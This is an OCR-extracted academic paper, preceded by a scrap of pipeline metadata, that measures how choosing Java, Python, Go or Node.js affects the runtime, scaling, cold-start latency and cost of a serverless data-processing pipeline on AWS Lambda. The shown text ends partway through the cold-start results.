[[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52984, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52984, null]], "pdf_page_numbers": [[0, 1622, 1], [1622, 5675, 2], [5675, 11401, 3], [11401, 16809, 4], [16809, 20048, 5], [20048, 23580, 6], [23580, 25740, 7], [25740, 31469, 8], [31469, 35463, 9], [35463, 39807, 10], [39807, 46174, 11], [46174, 52517, 12], [52517, 52984, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52984, 0.17626]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
41ba16199e123ce01bc4741a763ca5237151d2ca
|
[REMOVED]
|
{"Source-Url": "http://static-curis.ku.dk/portal/files/172063108/paper2.pdf", "len_cl100k_base": 10970, "olmocr-version": "0.1.53", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 59637, "total-output-tokens": 13925, "length": "2e13", "weborganizer": {"__label__adult": 0.0004010200500488281, "__label__art_design": 0.0008192062377929688, "__label__crime_law": 0.0005340576171875, "__label__education_jobs": 0.002208709716796875, "__label__entertainment": 0.00012129545211791992, "__label__fashion_beauty": 0.0002281665802001953, "__label__finance_business": 0.0011987686157226562, "__label__food_dining": 0.0004930496215820312, "__label__games": 0.0006632804870605469, "__label__hardware": 0.0005884170532226562, "__label__health": 0.0007071495056152344, "__label__history": 0.00039005279541015625, "__label__home_hobbies": 0.00014281272888183594, "__label__industrial": 0.000762939453125, "__label__literature": 0.0008449554443359375, "__label__politics": 0.00039768218994140625, "__label__religion": 0.0004699230194091797, "__label__science_tech": 0.11578369140625, "__label__social_life": 0.00015687942504882812, "__label__software": 0.01605224609375, "__label__software_dev": 0.85595703125, "__label__sports_fitness": 0.0002739429473876953, "__label__transportation": 0.00080108642578125, "__label__travel": 0.0002137422561645508}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54415, 0.03357]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54415, 0.28442]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54415, 0.90085]], "google_gemma-3-12b-it_contains_pii": [[0, 794, false], [794, 3467, null], [3467, 6801, null], [6801, 9917, null], [9917, 13294, null], [13294, 14181, null], [14181, 17735, null], [17735, 19606, null], [19606, 22758, null], [22758, 25583, null], [25583, 28117, null], [28117, 30135, null], [30135, 33244, null], [33244, 35523, null], [35523, 38618, null], [38618, 41614, null], [41614, 44515, null], [44515, 47527, null], [47527, 50532, null], [50532, 54415, null]], "google_gemma-3-12b-it_is_public_document": [[0, 794, true], [794, 3467, null], [3467, 6801, null], [6801, 9917, null], [9917, 13294, null], [13294, 14181, null], [14181, 17735, null], [17735, 19606, null], [19606, 22758, null], [22758, 25583, null], [25583, 28117, null], [28117, 30135, null], [30135, 33244, null], [33244, 35523, null], [35523, 38618, null], [38618, 41614, null], [41614, 44515, null], [44515, 47527, null], [47527, 50532, null], [50532, 54415, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54415, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54415, null]], "pdf_page_numbers": [[0, 794, 1], [794, 3467, 2], [3467, 6801, 3], [6801, 9917, 4], [9917, 13294, 5], [13294, 14181, 6], [14181, 17735, 7], [17735, 19606, 8], [19606, 22758, 9], [22758, 25583, 10], [25583, 28117, 11], [28117, 30135, 12], [30135, 33244, 13], [33244, 35523, 14], [35523, 38618, 15], [38618, 41614, 16], [41614, 44515, 17], [44515, 47527, 18], [47527, 50532, 19], [50532, 54415, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54415, 0.04255]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
aec954a2e9241d6ca4846c26a470fade80d88575
|
Implications of Programming Language Selection for Serverless Data Processing Pipelines
Robert Cordingly, Hanfei Yu, Varik Hoang, David Perez, David Foster, Zohreh Sadeghi, Rashad Hatchett, Wes J. Lloyd
School of Engineering and Technology
University of Washington
Tacoma WA USA
rcording, hanfeiyu, varikmp, dapererez, davidf94, zsadeghi, rhatch26, wllloyd@uw.edu
Abstract—Serverless computing platforms have emerged offering software engineers an option for application hosting without the need to configure servers or manage scaling while guaranteeing high availability and fault tolerance. In the ideal scenario, a developer should be able to create a microservice, deploy it to a serverless platform, and never have to manage or configure anything; a truly serverless platform. The current implementation of serverless computing platforms is known as Function-as-a-Service (FaaS). Adoption of FaaS platforms, however, requires developers to address a major question—what programming language should functions be written in? To investigate this question, we implemented identical multi-function data processing pipelines in Java, Python, Go, and Node.js. Using these pipelines as a case study, we ran experiments tailored to investigate FaaS data processing performance. Specifically, we investigate data processing performance implications: for data payloads of varying size, with cold and warm serverless infrastructure, over scaling workloads, and when varying the available function memory. We found that Node.js had up to 94% slower runtime vs. Java for the same workload. In other scenarios, Java had 20% slower runtime than Go resulting from differences in how the cloud provider orchestrates infrastructure for each language with respect to the serverless freeze/thaw lifecycle. We found that no single language provided the best performance for every stage of a data processing pipeline and the fastest pipeline could be derived by combining a hybrid mix of languages to optimize performance.
Keywords—Serverless Computing, Function-as-a-Service, AWS Lambda, FaaS, Programming Languages
I. INTRODUCTION
Serverless computing recently has emerged as a compelling approach for hosting applications in the cloud [1][2][3]. Serverless computing platforms promise autonomous fine-grained scaling of computational resources, high availability (24/7), fault tolerance, and billing only for actual compute time while requiring minimal setup and configuration. To realize these capabilities, serverless platforms leverage ephemeral infrastructure such as MicroVMs or application containers. This serverless architectural paradigm shift ultimately promises better datacenter utilization as cloud providers can merge user workloads at the service-level to increase server utilization and save energy. Re-architecting applications for the serverless model promises reduced hosting costs as fine-grained resources can be provisioned on demand and charges reflect only actual compute time.
Function-as-a-Service (FaaS) platforms leverage temporary infrastructure to deploy, host, and scale resources on demand for individual functions known as “microservices” [4][5][6]. These microservices make use of function instances that contain user code plus dependent libraries and are created and destroyed on demand to offer granular infrastructure for each service [7]. Granular code deployments enable cloud providers to minimize idle servers better than with VM placements [8][9]. Users are not billed based on the number of function instances, but instead on the total number of service invocations, runtime, and memory utilization to the nearest tenth of a second. Serverless platforms have arisen to support highly scalable, event-driven applications comprising of short-running, stateless functions triggered by events generated from middleware, sensors, microservices, or users [10]. Common use cases include: multimedia processing, data processing pipelines, IoT data collection, chatbots, short batch jobs/scheduled tasks, REST APIs, mobile backends, and continuous integration pipelines [5].
When developing a serverless application, developers make design decisions that directly impact the cost of hosting their application in the cloud. FaaS platforms allow functions to be developed and deployed in a variety of different programming languages and the set of supported languages varies across platforms. This paper investigates the implications of programming language selection on the overall performance and cost of a serverless application.
Unlike IaaS clouds, where cost accounting is as simple as tracking the number of VM instances and their uptime, serverless billing models are directly connected to the runtime of the application. Application deployments consist of many microservices that must be individually tracked [11]. As runtime is the primary factor in FaaS billing, it is important to design FaaS functions to be as fast as possible. FaaS platforms support only a limited number of programming languages, making the problem of selecting the best programming language for performance critical to minimize both runtime and cost. FaaS platforms encourage applications to be decomposed into many functions that are hosted and scaled separately with independent infrastructure. Decomposition of serverless applications into independent microservices allows applications to combine functions written in multiple languages. Aggregating functions written in different programming languages has the potential to offer a unique way to improve the performance of serverless applications, and in particular, data processing pipelines.
To save server capacity, cloud providers deprecate FaaS infrastructure after periods of inactivity, causing significant initialization latency to produce “cold” service requests [12]. Infrastructure recycling on serverless platforms causes a freeze/thaw cycle [13][14], that contributes to significant
performance variation. As programming languages feature different runtime environments on FaaS platforms, choice of programming language can substantially impact function instance initialization time. Without fully understanding the nature of FaaS platforms, developers are left to make ad hoc choices for programming language selection to avoid pitfalls such as the freeze/thaw lifecycle. These decisions can lead to slower applications with significantly higher hosting costs.
The primary goal of this paper is to investigate performance implications of programming language selection on serverless FaaS platforms. For serverless applications, the programming language that is expected to offer the fastest performance, in reality may not. Many factors can obfuscate a language’s expected performance. For example, C# and Java exhibit greater cold start latency than interpreted languages such as Python resulting from overhead from initializing the Java Virtual Machine (JVM) or deploying required libraries (.NET) [15]. For short running functions, an interpreted language may be faster and cheaper than a compiled one. Conversely, long running functions may execute faster in a compiled language. Another factor is that across FaaS platforms, some language runtimes may have been the target of more optimizations by the cloud provider. Moreover, it cannot be assumed that functions in every language effectively scale the same. Many FaaS platforms scale the CPU timeshare relative to a function’s reserved memory. We cannot assume that function performance scales identically for every language, as memory reservations are increased or decreased. The amount of memory that offers the best price-to-performance ratio for each language may vary.
To investigate these factors, we implemented an identical serverless Transform-Load-Query data processing pipeline in Java, Go, Python, and Node.js. We used static code analysis to compare similarity of each language’s specific implementation. We then deployed our pipelines on AWS Lambda leveraging the simple storage service (S3) for object storage, and Amazon Aurora as a serverless relational database. Using this Transform-Load-Query pipeline as a case study, we investigate the implications of programming language selection on overall application performance, scalability, freeze/thaw initialization, and FaaS memory configuration performance scaling.
A. Research Questions
This paper investigates the following research questions:
**RQ-1:** (Performance) How does the choice of programming language (Java, Go, Python, Node.js) impact the overall performance and throughput of a serverless data processing pipeline?
**RQ-2:** (Scalability) How does the programming language choice impact the scalability of a serverless data processing pipeline when processing many concurrent data payloads?
**RQ-3:** (Infrastructure State) How does the choice of programming language impact cold FaaS performance compared to warm FaaS performance for a data processing pipeline?
**RQ-4:** (Memory/Cost) How does performance vary for a serverless data processing pipeline across alternate memory settings for implementations in different programming languages?
B. Research Contributions
This paper provides the following research contributions:
1. We investigate implications of programming language selection for serverless FaaS applications using a case study consisting of the multifunction Transform-Load-Query data processing pipeline written in Java, Go, Python, and Node.js. Using static code analysis, we verify that each language implementation is equivalent.
2. We profile each pipeline using metrics collected by the Serverless Application Analytics Framework (SAAF) [16], observing language specific performance, scalability performance, cold start latency, and how performance scales relative to memory size. We identify that hybrid pipelines that mix functions written in different languages can offer performance improvements over those in a single language.
II. BACKGROUND AND RELATED WORK
The challenge of understanding pricing and performance of serverless platforms, including the need to address performance variation resulting from cold-start latency was identified in [17]. The authors identify how pay-as-you-go pricing models, and the complexity of serverless application deployments, leads to the key pitfall: "Serverless computing can have unpredictable costs". When deploying serverless applications, developers make important choices that potentially impact the overall performance and cost of their applications. In contrast to hosting applications with VMs, serverless platforms complicate budgeting as organizations must understand service demand to estimate hosting costs. Features of FaaS platforms, such as the freeze/thaw lifecycle have been shown to favor some programming languages over others identified in [15]. In this section, we review related work on language performance comparison, performance evaluation of FaaS platforms, and language comparison within serverless applications.
A. General Programming Language Performance Comparison
In [18], L. Prechelt compared seven languages (C, C++, Java, Python, Perl, Rexx, TCL) to investigate language runtime, variability, and memory performance. Prechelt recruited volunteers of different skill levels and diversity to write programs in a variety of programming languages. Prechelt then obtained the runtime for these programs separated by language and group (e.g. C/C++ vs. Java, Java vs. scripting) and made comparisons using statistical tests.
These tests consisted of two stages, an initialization phase where files are loaded into memory, and a search phase where the file data is processed. For the initialization phase, programs in scripting languages ran at least 3.2x as long as those in Java. For the search phase, no significant differences were observed among any of the groups, but tests written in scripting languages exhibited 2.1x less performance variation than Java. Another performance metric compared was memory consumption where at least 20 MBs more memory (98 percent) were consumed by Java relative to tests written in scripting languages. In summary, Prechelt found that programs written in scripting languages ran at least 5.7% longer than Java implementations.
The performance of six different programming languages (Python, SML, C++, Java, Perl, C#, C) was compared in [19]. For comparison, the authors implemented programs that computed large numeric factorials using native language datatypes without dynamic memory. Their comparison focused
on identifying correctness of the factorial computation computing factorials from 1 to 999. Results show that Python was able to compute the longest correct factorial, while Perl was second longest.
However, [19] has several limitations. This paper did not compare source code differences using static metrics (e.g. LOC) and the authors did not compare runtime. Additionally, the comparison was limited to a mathematical use case. Their comparison did not consider application use cases common to serverless computing such as those with data-intensive operations and interactions with services.
B. Performance and Cost Evaluation of Serverless Platforms
Several efforts have investigated the performance implications for hosting scientific computing workflows on serverless platforms [20][21][22][23]. Other efforts have evaluated FaaS performance for machine learning inferencing [24][25], and even neural network training [26]. To support cost comparison of serverless computing vs. IaaS cloud, Boza et al. developed CloudCal, a tool to estimate hosting costs for service-oriented workloads on IaaS (reserved), IaaS (On Demand), and FaaS platforms [27]. CloudCal determines the minimum number of VMs to maintain a specified average request latency to compare hosting costs to FaaS deployments. FaaS resources, however, were assumed to provide identical performance as IaaS VMs when functions were allocated 128 MB RAM. Wang et al. identified AWS Lambda performance at 128 MB as only ~1/10th of 1-core VM performance in [9] suggesting potential inaccuracies with CloudCal. Other efforts have conducted case studies to compare costs for hosting specific application workloads on IaaS vs. FaaS [14][28], and FaaS vs. PaaS [29]. We extend previous efforts by characterizing performance variation of workloads across FaaS runtime implementations.
C. Language Comparison Within Serverless Applications
Jackson and Clyneh compared latency of FaaS functions across different programming languages on AWS Lambda for Node.js, Python, Go, Java, and C#, and or Azure Functions with Node.js and C# in [15]. Their comparison, however, was limited to measuring latency using empty functions that performed no operations to quantify FaaS platform overhead.
In [30], Shrestha compared the performance of computing Fibonacci series as a compute-bound test case. Shrestha implemented the same task with all supported languages and compared the runtime while also benchmarking cold start performance. Node.js, Python, Go, Java, Ruby completed cold starts within 800ms, whereas C# was a distinct underdog with cold starts spanning between 0.8 and 5 seconds. Compiled languages (e.g. Java, Go, C#) demonstrated slower cold starts due to the large number of dependencies compared to interpreted languages (e.g. Node.js, Python, Ruby). Shrestha also noted that Java packages are large because of the requirements for the Java Virtual Machine (JVM), which then increased the overall size of the functions. Cold start overhead only impacted the cold start initialization, as the performance was excellent after the initialization phase. C# exhibited a much longer cold start time, which is also mentioned in [15]. This cold start overhead may result from the use of the open-source .NET CLR (Common Language Runtime) library on AWS Lambda, a Linux-based FaaS platform. Here, AWS Lambda is unable to leverage native .NET C# under the Windows operating system.
Another limitation of [30] is the simple compute-bound test case whereas many common applications written for FaaS platforms are data intensive. This is one of our motivations for choosing a data processing pipeline for our case study.
III. METHODOLOGY
In this section, we detail tools and techniques used to investigate our research questions (RQ-1, RQ-2, RQ-3, RQ-4). Section III.A describes the programming languages we investigated, their differences, and why we chose them. Section III.B describes the serverless Transform-Load-Query pipeline we developed to use as our programming language case study. Section III.C provides a discussion on the functional equivalence of our data processing pipelines in each language. Section III.D details our experimental workloads, and section III.E describes the tools and platform used to collect metrics, run experiments, and host our data processing pipelines.
A. Programming Languages: Java, Python, Go, Node.js
Each FaaS platform offers a different set of programming language runtimes that functions can be deployed with. For example, AWS Lambda supports functions written in Java, Python, Go, Node.js, Ruby, and C# [31]. For this case study, we focused on Java 8, Python 3.7, Go 1, and Node.js 12. These four languages feature major differences in both language design and FaaS platform implementation. Go, Java 8, and Python 3.7 use Amazon Linux 1 whereas Node.js uses version 2.
We focused on Java and Python to compare two fundamentally different programming languages. Python is a high-level interpreted programming language while Java is compiled to platform independent bytecode that is run on each platform using a custom interpreter known as the Java Virtual Machine (JVM) [18]. Being a compiled language, Java offers better performance compared to interpreted languages such as Python [18]. While Java may be faster, on FaaS platforms the JVM has been shown to cause significant cold start latency [15]. The two interpreted and compiled language classes also apply to Go (compiled) and Node.js (interpreted). The goal for selecting these languages is not simply to make a direct performance comparison, but to also identify characteristics of use cases (i.e. compute-bound, I/O-bound, small vs. large data) where one programming language excels above the others.
B. Transform-Load-Query Pipeline Use Case
To investigate performance impacts of programming language selection, we developed a Transform-Load-Query multi-function serverless application in all four languages [32]. We built the pipeline to process sample sales data that includes information such as product order details, transaction pricing, and customer metadata. Each dataset is a CSV file stored in Amazon S3 ranging from 100 to 500,000 rows. To process this data, the pipeline consists of three microservices:
1. Transform Function
The transform function takes a CSV file stored in Amazon S3 and applies multiple transformations to the data. This function removes duplicate rows, creates additional columns containing order processing time, and calculates the gross margin of each sales transaction. Once the transformations are applied the modified CSV file is saved to Amazon S3.
2. Load Function
The load function pulls the transformed CSV file from S3 and loads it into an Amazon Aurora serverless MySQL database. The function creates SQL insert queries for each row in the CSV file. These queries are executed in batches of 1,000 to improve performance by reducing the number of distinct database transactions.
3. Query Function
The final function queries the newly loaded database by performing five separate SQL aggregation queries where results are joined with a UNION. This function then saves the results of the queries to S3 for future access. After the queries are complete, a stress test is performed using a “SELECT *” query to retrieve every row from the database to measure the data transfer throughput (row/sec) between the database and the FaaS function.
C. Static Code Analysis and Function Equivalence
To ensure function equivalence between the different language implementations, we needed to ensure that the services for each language were as similar as possible in design and structure. To achieve this, we wrote the Java version first and used it as the reference implementation to write the Python, Go, and Node.js implementations.
<table>
<thead>
<tr>
<th>Service</th>
<th>Lang</th>
<th>Funcs</th>
<th>Vars</th>
<th>SLOC</th>
<th>Loops</th>
<th>Cloud Service Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>S1</td>
<td>Java</td>
<td>3</td>
<td>40</td>
<td>86</td>
<td>2</td>
<td>S3 Get/Put</td>
</tr>
<tr>
<td>S1</td>
<td>Python</td>
<td>3</td>
<td>28</td>
<td>64</td>
<td>3</td>
<td>S3 Get/Put</td>
</tr>
<tr>
<td>S1</td>
<td>Go</td>
<td>3</td>
<td>30</td>
<td>77</td>
<td>1</td>
<td>S3 Get/Put</td>
</tr>
<tr>
<td>S1</td>
<td>Node.js</td>
<td>3</td>
<td>24</td>
<td>96</td>
<td>1</td>
<td>S3 Get/Put</td>
</tr>
<tr>
<td>S2</td>
<td>Java</td>
<td>3</td>
<td>25</td>
<td>77</td>
<td>2</td>
<td>S3 Get, DB Conn x1</td>
</tr>
<tr>
<td>S2</td>
<td>Python</td>
<td>3</td>
<td>21</td>
<td>57</td>
<td>3</td>
<td>S3 Get, DB Conn x1</td>
</tr>
<tr>
<td>S2</td>
<td>Go</td>
<td>3</td>
<td>15</td>
<td>65</td>
<td>1</td>
<td>S3 Get, DB Conn x1</td>
</tr>
<tr>
<td>S2</td>
<td>Node.js</td>
<td>4</td>
<td>18</td>
<td>83</td>
<td>1</td>
<td>S3 Get, DB Conn x1</td>
</tr>
<tr>
<td>S3</td>
<td>Java</td>
<td>4</td>
<td>36</td>
<td>111</td>
<td>7</td>
<td>S3 Put, DB Conn x2</td>
</tr>
<tr>
<td>S3</td>
<td>Python</td>
<td>5</td>
<td>44</td>
<td>96</td>
<td>9</td>
<td>S3 Put, DB Conn x2</td>
</tr>
<tr>
<td>S3</td>
<td>Go</td>
<td>4</td>
<td>34</td>
<td>104</td>
<td>8</td>
<td>S3 Put, DB Conn x2</td>
</tr>
<tr>
<td>S3</td>
<td>Node.js</td>
<td>5</td>
<td>17</td>
<td>74</td>
<td>1</td>
<td>S3 Put, DB Conn x2</td>
</tr>
</tbody>
</table>
The focus was to translate the Java implementation as closely as possible into the target language. We did not employ language specific optimizations and retained the same logic across all implementations. Due to fundamental language differences, such as required use of callback functions and frequent asynchronous code, static code analysis metrics for Node.js exhibited the largest differences while being functionally equivalent. We also minimized the use of 3rd party libraries, excluding those required to interact with AWS (e.g. boto3), to eliminate as much under-the-hood code as possible. Our goal was to replicate the behavior and implementation of each language-specific function implementation. This was especially challenging with Aurora database interactions. Each language has its own MySQL driver and library with different features, configurations, and limitations to consider. Table I provides static code analysis metrics to compare our pipelines implemented in Java, Go, Python, and Node.js.
D. Experiments
To investigate the implications of programming language choice for our serverless case study, we conducted four experiments to evaluate different aspects of the FaaS language runtimes.
1. Overall Performance Comparison
In this experiment, we executed each pipeline 11 times with 8 different workload sizes gradually increasing the size of the data payload processed by the pipeline. The first run of each workload was thrown out to prewarm FaaS infrastructure to ensure execution was in the warm state. The number of rows in the data payload was gradually increased as follows: 100, 1000, 5000, 10000, 25000, 50000, 100000, 250000, and 500000 rows. The goal of this experiment is to measure the overall warm performance of each language and measure how performance scales as the workload size changes (RQ-1). All runs were configured with the maximum memory setting (3008 MBs), and executed sequentially to minimize tenancy and resource contention between function instances. Alongside observing runtime, we also use these runs to profile Linux CPU metrics to evaluate function resource utilization using SAAF (described in section D) to compare how the processing requirements differ for each language.
2. Scalability Performance Testing
The goal of this experiment is to measure how the performance of each language changes as the number of concurrent function invocations increases (RQ-2). All functions execute the same 100,000 row workload, and we gradually increased the number of concurrent invocations. Starting with one function invocation to warm up infrastructure, we increased function calls in steps of 5 up to 50 concurrent invocations. We performed this experiment with the maximum memory setting (3008 MBs) to force the cloud provider to assign our application the maximum amount of infrastructure. To eliminate database resource contention, each pipeline was allocated a dedicated Amazon Aurora serverless database instance. This limited our scalability testing as the maximum number of databases serverless Aurora supported in one user account was 50.
3. Cold-Start Performance Testing
In all previous experiments, function infrastructure was prewarmed to profile warm function performance. The goal of experiment 3 was to measure cold start performance for each language (RQ-3). Similar to experiment 1, each function was called sequentially with a fixed memory setting (3008 MBs). To
minimize network latency, an EC2 instance was used as the client to invoke these functions. We created an c5n.large EC2 instance in the same availability zone and subnet of our functions (us-east-1a). We note that our functions were deployed using a virtual private cloud (VPC) to fix their placement to the us-east-1a availability zone. After each pipeline iteration, the client executing the experiment slept for 1 hour to guarantee cold infrastructure. All function invocations used the smallest 100 row workload since the metric this experiment measured was cold start latency. Sleeping 60 minutes ensured the FaaS platform deprecated FaaS infrastructure between calls returning each function to a cold state. A previous study showed that on average AWS Lambda required ~45-minutes to deprecate all warm FaaS Infrastructure for a given function [14]. We used the SAAF framework to identify infrastructure state, and verified that indeed all FaaS infrastructure used to execute functions in this experiment was cold.
4. Memory Configuration Comparison
The fourth experiment focused on identifying performance differences for different programming languages with respect to a FaaS function’s memory reservation size. For this experiment, each function was called sequentially and with a fixed workload. After each test, we reduced the memory setting. Starting with the 3008 MBs memory setting, we repeated the experiment with 2560, 2048, 1536, 1024, 768, and 512 MBs memory settings. The goal was to measure how performance changes in each language as we changed the memory configuration (RQ-4).
E. Tools and Platforms
To help identify factors responsible for performance variation on FaaS platforms, while quantifying their extent, we have developed the Serverless Application Analytics Framework [16]. SAAF supports collection of performance, resource utilization, and infrastructure metrics for FaaS workloads deployed to AWS Lambda written in Java, Go, Node.js, and Python. Programmers include the SAAF library and a few lines of code to enable SAAF profiling. SAAF collects metrics from the Linux /proc filesystem appending them onto the JSON payload returned by the function instance. Attributes collected include Linux Time Accounting metrics such as CPU idle, user, kernel, and I/O wait time, wall-clock runtime, and memory usage. To identify infrastructure state, SAAF stamps function instances with a unique ID and the existence of a stamp identifies if the environment is new (cold) or recycled (warm). A function instance is stamped by writing a UUID file to /tmp. To generate concurrent FaaS workloads, retrieve metrics, and aggregate results from SAAF we developed FaaS Runner. Implemented in Python, FaaS Runner provides a client-side application used in conjunction with SAAF, to automate profiling experiments on FaaS platforms. FaaS Runner combines performance, resource utilization, and configuration metrics from SAAF enabling observations not possible when profiling individual FaaS functions calls
For this FaaS programming language comparison, we deployed each of the data processing pipelines to AWS Lambda, stored sample datasets in S3, and leveraged the serverless Aurora relational database. We focused our study using AWS as it is the only platform that presently offers a horizontally scalable serverless relational database. Combing AWS Lambda, S3, and Aurora allowed our pipeline to be fully serverless.
IV. EXPERIMENTAL RESULTS
To investigate our research questions, we deployed each of our data processing pipelines to AWS Lambda using the default VPC in the Virginia region. We pinned all Lambda functions to execute within the same availability zone (us-east-1a) to minimize network latency and increase the likelihood that experiments ran under identical conditions.
A. FaaS Language Performance Comparison
In the vast majority of the trials, Java had the lowest runtime. The only exception is where Go outperformed Java with the 250,000-row workload. On average across all workloads, Go took 13.1% longer compared to Java, Python took 45.9%, and Node.js took 64.6%. Processing large datasets exacerbated the difference between Java and Node.js performance. Node.js required 94.8% more runtime to process the 500,000 row dataset than Java. Our results show that language choice of a serverless function can have a significant impact on the overall runtime and price of a serverless application. Figure 2 shows the average runtime of each function and workloads.
For comparison purposes for a serverless application, it is useful to extrapolate the cost to run each pipeline 1,000,000 times. For the worst-case scenario to process the 500,000-row dataset the price for 1,000,000 pipeline invocations would be on average $2,549, $2,982, $3,922, and $4,967 for Java, Go, Python, and Node.js respectively. By implementing a data processing pipeline in Node.js instead of Java, a serverless application may cost ~95% more for 1,000,000 pipeline invocations. This price comparison shows how FaaS runtime directly determines the cost of a serverless application.
Across our four single language pipelines, the Load phase was by far the slowest. This phase took on average 69%, 60%, 56%, and 59% of the entire pipeline’s runtime in Go, Java, Python, and Node.js respectively. An interesting observation is that no single language was consistently the fastest across all functions. On average, Go delivered the fastest runtime for the Transform function, Java for the Load function, and Go for the Query function. Go’s long runtime of the Load function causes it to have a longer overall runtime than Java: 14010ms vs. 12927ms respectively.
From our available implementations, the fastest pipeline would be to use Go for the Transform and Query functions, and Java for the Load function. This demonstrates a potential benefit for building decoupled multi-function pipelines on serverless platforms. The freedom of being able to mix multiple languages...
and tools allows developers to create optimal hybrid pipelines. Compared to our single language pipelines, our Go/Java/Go hybrid pipeline processed the 500,000 row dataset 37%, 17%, 81%, and 129% faster than the Go, Java, Python, and Node.js pipelines respectively.
Using SAAF, we are able to profile Linux CPU Time Accounting metrics for our functions. This provided insight into what functions are doing while running. We can observe how much time is spent executing user code, idling, waiting for network I/O, or executing privileged kernel code in the operating system. Figure 3 shows the profile of each function at 3008 MBs running the 500,000-row workload. This graph depicts differences in resource utilization for each language’s function implementations.

Fig. 3. Linux CPU Time Accounting profile for each function in the pipeline at 3008 MBs with 500,000 row workload.
Across all implementations, Node.js required more kernel time than other languages. For the first function (Transform), Python and Java had similar resource utilization, while Go required less CPU User and Idle time. Node.js required a significant amount of Kernel time, consisting of 37% of the total runtime. For function 2 (Load), all functions exhibited a significant amount of CPU Idle time of ~70-100 seconds. Go, Python and Node.js required a similar amount of CPU User time while Java used about half. Like function 1, Node.js required much more Kernel time than the others and exhibited more soft interrupt request time potentially as a result of function callbacks. This function is more network bound due to loading data into the database so it was expected that the vast majority of the time the CPU would be idle. For function 3 (Query), Go, Java, and Node.js performed similarly, while Python required significantly more user and idle time to execute the same task as the other two languages. Beyond basic runtime, analyzing Linux CPU Time Accounting metrics affords a deeper understanding of what aspects of a workload some languages excel at vs. others. For example, our Python MySQL driver loaded data very quickly (INSERT), similar to the other two languages, while query performance (SELECT), presumably for data retrieval, was significantly slower.
### B. FaaS Platform Scalability Comparison
One of the most important features of a FaaS platform is how quickly they respond to demand and scale up the amount of infrastructure allocated to an application. Once many function instances are deployed, performance can be impacted by multi-tenancy and resource contention. In this test, we gradually increased the number of concurrent function invocations to monitor if there was any change in performance as the number of concurrent requests increased. Each pipeline was provided an independent AWS Aurora Serverless (MySQL) relational database instance.
Figure 4 shows the average runtime of the pipelines as the number of parallel requests in the trial were scaled up. The Python, Java, and Go pipelines show minor linear increases in runtime as the number of concurrent invocations increase. Conversely, between 20 and 35 concurrent invocations of Node.js, there was a large ~5000ms increase in total pipeline runtime. At 50 concurrent invocations, there was 8%, 9%, 19%, and 35% increase in runtime for Python, Java, Go and Node.js respectively compared to 1-20 invocations.

Fig. 4. Overall Pipeline Runtime vs Concurrency.
### C. Runtime Cold-Start Performance
FaaS platforms dynamically scale the amount of infrastructure used to host function instances. Given that allocation of function instances is not instantaneous, initial function invocations exhibit “cold-start” latency.
In experiment 3, we invoked our pipelines twice to observe both cold and warm latency and then waited one hour to allow AWS Lambda to deprecate FaaS Infrastructure. We calculated latency by first recording the client’s time immediately before a function invocation, and after receiving the response; also known as the round-trip time. We then subtracted the runtime reported by SAAF from the round-trip time giving us the overall latency caused by networking and infrastructure provisioning.
<table>
<thead>
<tr>
<th>Cold Start Performance</th>
<th>Cold (ms) (Service T.L.Q)</th>
<th>Warm (ms) (Service T.L.Q)</th>
<th>Delta (ms) (Service T.L.O)</th>
<th>Package Size (Service T.L.Q)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Go</td>
<td>871, 886, 886</td>
<td>402, 402, 406</td>
<td>469, 484, 436</td>
<td>15, 15, 7.8 MBs</td>
</tr>
<tr>
<td>Java</td>
<td>988, 1119, 1139</td>
<td>401, 395, 398</td>
<td>587, 724, 741</td>
<td>6.3, 8.7, 8.7 MBs</td>
</tr>
<tr>
<td>Python</td>
<td>962, 1034, 1033</td>
<td>408, 406, 410</td>
<td>554, 628, 622</td>
<td>6, 173, 174 KBS</td>
</tr>
<tr>
<td>Node.js</td>
<td>889, 1140, 1076</td>
<td>390, 389, 388</td>
<td>499, 751, 688</td>
<td>704, 705, 707 KB</td>
</tr>
</tbody>
</table>
Table II shows how the cold start latency, and overall cold vs warm speedup varies between each language. On average, cold invocations had latency of 867, 1082, 1010, and 1035 milliseconds for Go, Java, Python, and Node.js respectively with an overall Coefficient of Variation (CV) of 10.8%. Once functions were warmed, each language had nearly identical latency averaging 404, 398, 408, 389 milliseconds for Go, Java, Python, and Node.js with a CV of just 1.9%. The difference in latency between cold start and warm functions averaged 463, 684, 602, 645 milliseconds for Go, Java, Python, and Node.js respectively.
